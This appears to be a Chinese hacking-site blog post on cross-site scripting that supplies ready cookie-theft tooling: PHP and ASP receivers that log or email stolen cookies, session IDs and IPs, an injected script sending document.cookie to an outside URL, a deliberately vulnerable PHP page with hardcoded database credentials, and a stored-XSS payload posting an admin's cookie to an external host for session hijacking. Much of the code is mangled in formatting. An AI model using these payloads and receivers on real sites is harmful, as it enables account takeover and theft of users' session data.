
我们先来简单的介绍一下xss:xss又叫CSS(Cross-SiteScripting),跨站脚本攻击。恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。
先脑补几个脚本:
xss配合php获取cookie和session的脚本
| <?php $ip = $_SERVER[‘REMOTE_ADDR’]; $to=’xxx@xxx.com’; $referer = $_SERVER[‘HTTP_REFERER’]; $cookie = $_GET[‘cookie’]; $session = $_GET[‘session’]; $agent = $_SERVER[‘HTTP_USER_AGENT’]; $subject=’远程XSS获取地址–域名:‘.$referer; $body=”<p> 远程管理员IP= “.$ip.”<p> 访问时间=” . date(‘d-m-Y’). “<p> 后台地址=”.$referer.”<p> 浏览器类型=”.$agent.”<p> 当前页面地址=”.$referer.”<p> COOKIE信息=”.$cookie.”<p> Session信息=”.$$session.’ ‘. $headers= ‘MIME-Version: 1.0’ . “/r/n”; $headers.= ‘Content-type: text/html; charset=utf-8’ . “/r/n”; $headers.=”Cleanreport.com”; mail($to, $subject, $body, $headers); ?> <script>document.write(‘<img src=”http://url/news.asp?msg=’+document.cookie+'” width=0 height=0 border=0 />’);</script> news.asp代码: <% msg=Request.ServerVariables(“QUERY_STRING”) testfile=Server.MapPath(“cook.txt”) set fs=server.CreateObject(“scripting.filesystemobject”) set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.Writeline(“”&msg& “”) thisfile.close set fs = nothing %> PHP版代码: <?php $cookie = $_GET[‘c’]; $ip = getenv (‘REMOTE_ADDR’); $time=date(“j F, Y, g:i a”); $referer=getenv (‘HTTP_REFERER’); $fp = fopen(‘cook.txt’, ‘a’); fwrite($fp, ‘Cookie: ‘.$cookie.'<br> IP: ‘ .$ip. ‘<br> Date and Time: ‘ .$time. ‘<br> Referer: ‘.$referer.'<br><br><br>’); fclose ?> |
Xss的攻击类型呢,它有两种攻击类型 1.持久性xss 2.非持久性xss
1.非持久性xss
详解:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
假设有以下index.php页面:
另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。
| <?phpsession_start();if(!$_SESSION[‘USER_NAME’]) { echo “Need to login”; }else { $Host= ‘192.168.1.8’; $Dbname= ‘app’; $User= ‘yyy’; $Password= ‘xxx’; $Schema = ‘test’; $Conection_string=”host=$Host dbname=$Dbname user=$User password=$Password”; $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); if($_SERVER[‘REQUEST_METHOD’] == “POST”) { $query=”update $Schema.members set display_name='”.$_POST[‘disp_name’].”‘ where user_name='”.$_SESSION[‘USER_NAME’].”‘;”; pg_query($Connect,$query); echo “Update Success”; } else { if(strcmp($_SESSION[‘USER_NAME’],’admin’)==0) { echo “Welcome admin<br><hr>”; echo “List of user’s are<br>”; $query = “select display_name from $Schema.members where user_name!=’admin'”; $res = pg_query($Connect,$query); while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) { echo “$row[display_name]<br>”; } } else { echo “<form name=/”tgs/” id=/”tgs/” method=/”post/” action=/”home.php/”>”; echo “Update display name:<input type=/”text/” id=/”disp_name/” name=/”disp_name/” value=/”/”>”; echo “<input type=/”submit/” value=/”Update/”>”; } } }?> |
注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。
首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:
| <a href=# onclick=/”document.location=/’https://www.77169.net/xss.php?c=/’+escape/(document.cookie/)/;/”>bangerlee</a> |
攻击者提交了条带标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 “bangerlee” 的用户列表将显示,如果 admin 用户点击 “bangerlee” 时,在 “attacker-site.com” 所在的服务器上,攻击者就可以窃取到 admin 的session-id:
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。
提醒一句,大家知道腾讯的邮箱吧?据说有xss漏洞,用iphone的小伙伴们,手机丢了千万不要点任何链接哦,那个时候你的qq邮箱也跟着丢了哦!
下附xss思维导图




大图浏览
<A href=”https://hack.77169.com/UploadFiles_8057/201605/20160526104559167.png














暂无评论内容